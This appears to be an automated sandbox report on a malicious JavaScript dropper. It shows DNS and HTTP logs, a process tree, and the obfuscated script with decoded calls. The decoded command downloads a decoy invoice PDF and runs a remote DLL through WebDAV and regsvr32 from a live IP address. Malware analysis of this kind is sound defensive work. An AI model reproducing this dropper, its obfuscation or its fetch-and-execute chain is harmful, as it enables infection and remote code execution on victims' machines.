Jan 11, 2025 02:13:11.304675102 CET	1.1.1.1	192.168.2.9	0xe4a1	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:13:12.089828968 CET	1.1.1.1	192.168.2.9	0x665a	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:13:12.089828968 CET	1.1.1.1	192.168.2.9	0x665a	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:13:24.439733982 CET	1.1.1.1	192.168.2.9	0x9e6a	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:13:24.439733982 CET	1.1.1.1	192.168.2.9	0x9e6a	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:13:39.815222025 CET	1.1.1.1	192.168.2.9	0x4ba5	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:13:39.815222025 CET	1.1.1.1	192.168.2.9	0x4ba5	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:14:03.893089056 CET	1.1.1.1	192.168.2.9	0x68c6	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:14:03.893089056 CET	1.1.1.1	192.168.2.9	0x68c6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.26	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:14:03.893089056 CET	1.1.1.1	192.168.2.9	0x68c6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.38	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:14:03.893089056 CET	1.1.1.1	192.168.2.9	0x68c6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:14:03.893089056 CET	1.1.1.1	192.168.2.9	0x68c6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.21	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:14:03.893089056 CET	1.1.1.1	192.168.2.9	0x68c6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.43	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:14:03.893089056 CET	1.1.1.1	192.168.2.9	0x68c6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.27	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:14:03.893089056 CET	1.1.1.1	192.168.2.9	0x68c6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:14:03.893089056 CET	1.1.1.1	192.168.2.9	0x68c6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.22	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:14:28.018527985 CET	1.1.1.1	192.168.2.9	0xf994	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:14:28.018527985 CET	1.1.1.1	192.168.2.9	0xf994	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:14:52.131052017 CET	1.1.1.1	192.168.2.9	0x4ed0	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:14:52.131052017 CET	1.1.1.1	192.168.2.9	0x4ed0	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49758	193.143.1.205	80	7712	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:12:59.543716908 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:13:00.329011917 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:13:00 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:13:00.329171896 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:13:00.329185009 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 02:13:00.329197884 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 02:13:00.329207897 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 02:13:00.329226971 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 02:13:00.329308987 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 02:13:00.329322100 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 02:13:00.329333067 CET	552	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 11, 2025 02:13:00.329344988 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 11, 2025 02:13:00.334151983 CET	1236	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49778	193.143.1.205	8888	7936	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:13:02.636650085 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:13:03.421216011 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:13:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:12:55
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1907125702104121563.js"
Imagebase:	0x7ff7297f0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:12:56
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll
Imagebase:	0x7ff7e1220000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:12:56
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:12:56
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:13:02
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:13:02
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7e1220000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:13:02
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6411d0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:13:02
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:13:03
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:13:03
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2228 --field-trial-handle=1528,i,10699397459916845071,15470316518012393717,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function rbxqt() {	rbxqt() ➔ undefined
1	ohhywc = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var hwtvsxsy = this[yelboyq + zwqooeoc + xtbacweva + tdrsxi + pprwbqfd + onwvky + ptocw + hggciublb] ( this[zejyml + guypkn + pjxoa + xtbacweva + ckkpjl + yelboyq + hggciublb][mtrzdez + xtbacweva + pprwbqfd + zwqooeoc + hggciublb + pprwbqfd + vaywvm + vrltav + uyzhojfr + pprwbqfd + pjxoa + hggciublb] ( zejyml + guypkn + pjxoa + xtbacweva + ckkpjl + yelboyq + hggciublb + qzgyaarv + guypkn + yuydhe + pprwbqfd + rnqyx + rnqyx ) [ebjburcgm + pprwbqfd + uzgozoyoe + ebjburcgm + pprwbqfd + zwqooeoc + ispju] ( rxjhuyiak + zaiuetb + rnxpqcoc + swrqsoyq + inemtai + mtrzdez + jmfzmdy + ebjburcgm + ebjburcgm + rnxpqcoc + bzytuubtv + lmgluo + inemtai + jmfzmdy + guypkn + rnxpqcoc + ebjburcgm + febrsk + mtrzdez + iuyiulo + ptocw + hggciublb + xtbacweva + iuyiulo + rnqyx + txzvfq + szlpt + zwqooeoc + ptocw + pprwbqfd + rnqyx + febrsk + onwvky + ptocw + hggciublb + pprwbqfd + xtbacweva + ptocw + zwqooeoc + hggciublb + ckkpjl + iuyiulo + ptocw + zwqooeoc + rnqyx + febrsk + wsdaa + iuyiulo + pjxoa + zwqooeoc + rnqyx + pprwbqfd ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( vulzydjxc = 0 ; vulzydjxc < ohhywc[rnqyx + pprwbqfd + ptocw + uzgozoyoe + hggciublb + yuydhe] ; ++ vulzydjxc )
4	{
5	if ( hwtvsxsy == ohhywc[vulzydjxc] )
6	{
7	hwtvsxsy = true;
8	break ;
9	}
10	}
11	if ( hwtvsxsy !== true )
12	this[zejyml + guypkn + pjxoa + xtbacweva + ckkpjl + yelboyq + hggciublb][aygpwul + iccdg + ckkpjl + hggciublb] ( );
13	this[zejyml + guypkn + pjxoa + xtbacweva + ckkpjl + yelboyq + hggciublb][mtrzdez + xtbacweva + pprwbqfd + zwqooeoc + hggciublb + pprwbqfd + vaywvm + vrltav + uyzhojfr + pprwbqfd + pjxoa + hggciublb] ( zejyml + guypkn + pjxoa + xtbacweva + ckkpjl + yelboyq + hggciublb + qzgyaarv + guypkn + yuydhe + pprwbqfd + rnqyx + rnqyx ) [xtbacweva + iccdg + ptocw] ( pjxoa + ofqjofyzw + ispju + txzvfq + ggvbw + pjxoa + txzvfq + yelboyq + iuyiulo + zozphmsp + pprwbqfd + xtbacweva + tdrsxi + yuydhe + pprwbqfd + rnqyx + rnqyx + qzgyaarv + pprwbqfd + kumbq + pprwbqfd + txzvfq + jcwxkcew + mtrzdez + iuyiulo + ofqjofyzw + ofqjofyzw + zwqooeoc + ptocw + ispju + txzvfq + jooehuif + onwvky + ptocw + jpnua + iuyiulo + zpxhtj + pprwbqfd + jcwxkcew + zejyml + pprwbqfd + vrltav + ebjburcgm + pprwbqfd + khlem + iccdg + pprwbqfd + tdrsxi + hggciublb + txzvfq + jcwxkcew + vaywvm + iccdg + hggciublb + wczoaive + ckkpjl + rnqyx + pprwbqfd + txzvfq + zxqlsmtr + hggciublb + pprwbqfd + ofqjofyzw + yelboyq + zxqlsmtr + febrsk + ckkpjl + ptocw + jpnua + iuyiulo + ckkpjl + pjxoa + pprwbqfd + qzgyaarv + yelboyq + ispju + nxzmqq + txzvfq + yuydhe + hggciublb + hggciublb + yelboyq + nnaeo + ggvbw + ggvbw + rwyjey + ktsfxig + lfcytv + qzgyaarv + rwyjey + ltykj + lfcytv + qzgyaarv + rwyjey + qzgyaarv + gnoskyccw + tzbgftlov + wdcts + ggvbw + ckkpjl + ptocw + jpnua + iuyiulo + ckkpjl + pjxoa + pprwbqfd + qzgyaarv + yelboyq + yuydhe + yelboyq + jooehuif + wqovvjst + wqovvjst + tdrsxi + hggciublb + zwqooeoc + xtbacweva + hggciublb + txzvfq + zxqlsmtr + hggciublb + pprwbqfd + ofqjofyzw + yelboyq + zxqlsmtr + febrsk + ckkpjl + ptocw + jpnua + iuyiulo + ckkpjl + pjxoa + pprwbqfd + qzgyaarv + yelboyq + ispju + nxzmqq + wqovvjst + wqovvjst + pjxoa + ofqjofyzw + ispju + txzvfq + ggvbw + pjxoa + txzvfq + ptocw + pprwbqfd + hggciublb + txzvfq + iccdg + tdrsxi + pprwbqfd + txzvfq + febrsk + febrsk + rwyjey + ktsfxig + lfcytv + qzgyaarv + rwyjey + ltykj + lfcytv + qzgyaarv + rwyjey + qzgyaarv + gnoskyccw + tzbgftlov + wdcts + qyfgcipi + bqkmknaip + bqkmknaip + bqkmknaip + bqkmknaip + febrsk + ispju + zwqooeoc + jpnua + zozphmsp + zozphmsp + zozphmsp + xtbacweva + iuyiulo + iuyiulo + hggciublb + febrsk + wqovvjst + wqovvjst + pjxoa + ofqjofyzw + ispju + txzvfq + ggvbw + pjxoa + txzvfq + xtbacweva + pprwbqfd + uzgozoyoe + tdrsxi + jpnua + xtbacweva + lfcytv + gnoskyccw + txzvfq + ggvbw + tdrsxi + txzvfq + febrsk + febrsk + rwyjey + ktsfxig + lfcytv + qzgyaarv + rwyjey + ltykj + lfcytv + qzgyaarv + rwyjey + qzgyaarv + gnoskyccw + tzbgftlov + wdcts + qyfgcipi + bqkmknaip + bqkmknaip + bqkmknaip + bqkmknaip + febrsk + ispju + zwqooeoc + jpnua + zozphmsp + zozphmsp + zozphmsp + xtbacweva + iuyiulo + iuyiulo + hggciublb + febrsk + gnoskyccw + yrmstd + yrmstd + ltykj + yrmstd + gnoskyccw + tzbgftlov + lfcytv + tzbgftlov + tzbgftlov + bqkmknaip + ktsfxig + entth + rwyjey + qzgyaarv + ispju + rnqyx + rnqyx, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll",0,false) ➔ 0
14	}
15	ckkpjl = "I";
16	ckkpjl = "e";
17	ckkpjl = "u";
18	ckkpjl = "f";
19	ckkpjl = "W";
20	ckkpjl = "W";
21	ckkpjl = "N";
22	ckkpjl = "c";
23	ckkpjl = "h";
24	ckkpjl = "T";
25	ckkpjl = "S";
26	ckkpjl = "C";
27	ckkpjl = "c";
28	ckkpjl = "o";
29	ckkpjl = "Z";
30	ckkpjl = "E";
31	ckkpjl = "K";
32	ckkpjl = "i";
33	ckkpjl = "Y";
34	ckkpjl = "n";
35	ckkpjl = "Z";
36	ckkpjl = "M";
37	ckkpjl = "O";
38	ckkpjl = "k";
39	ckkpjl = "A";
40	ckkpjl = "m";
41	ckkpjl = "i";
42	ckkpjl = "h";
43	ckkpjl = "x";
44	ckkpjl = "l";
45	ckkpjl = "s";
46	ckkpjl = "Q";
47	ckkpjl = "K";
48	ckkpjl = "X";
49	ckkpjl = "D";
50	ckkpjl = "b";
51	ckkpjl = "f";
52	ckkpjl = "d";
53	ckkpjl = "J";
54	ckkpjl = "f";
55	ckkpjl = "a";
56	ckkpjl = "S";
57	ckkpjl = "i";
58	uzgozoyoe = "c";
59	uzgozoyoe = "j";
60	uzgozoyoe = "i";
61	uzgozoyoe = "e";
62	uzgozoyoe = "j";
63	uzgozoyoe = "V";
64	uzgozoyoe = "z";
65	uzgozoyoe = "u";
66	uzgozoyoe = "K";
67	uzgozoyoe = "j";
68	uzgozoyoe = "O";
69	uzgozoyoe = "p";
70	uzgozoyoe = "g";
71	uzgozoyoe = "W";
72	uzgozoyoe = "y";
73	uzgozoyoe = "S";
74	uzgozoyoe = "E";
75	uzgozoyoe = "h";
76	uzgozoyoe = "Q";
77	uzgozoyoe = "T";
78	uzgozoyoe = "C";
79	uzgozoyoe = "a";
80	uzgozoyoe = "T";
81	uzgozoyoe = "i";
82	uzgozoyoe = "z";
83	uzgozoyoe = "Q";
84	uzgozoyoe = "r";
85	uzgozoyoe = "o";
86	uzgozoyoe = "o";
87	uzgozoyoe = "S";
88	uzgozoyoe = "G";
89	uzgozoyoe = "c";
90	uzgozoyoe = "Q";
91	uzgozoyoe = "d";
92	uzgozoyoe = "N";
93	uzgozoyoe = "c";
94	uzgozoyoe = "R";
95	uzgozoyoe = "p";
96	uzgozoyoe = "a";
97	uzgozoyoe = "m";
98	uzgozoyoe = "D";
99	uzgozoyoe = "R";
100	uzgozoyoe = "O";
101	uzgozoyoe = "g";
102	hggciublb = "B";
103	hggciublb = "c";
104	hggciublb = "d";
105	hggciublb = "S";
106	hggciublb = "Z";
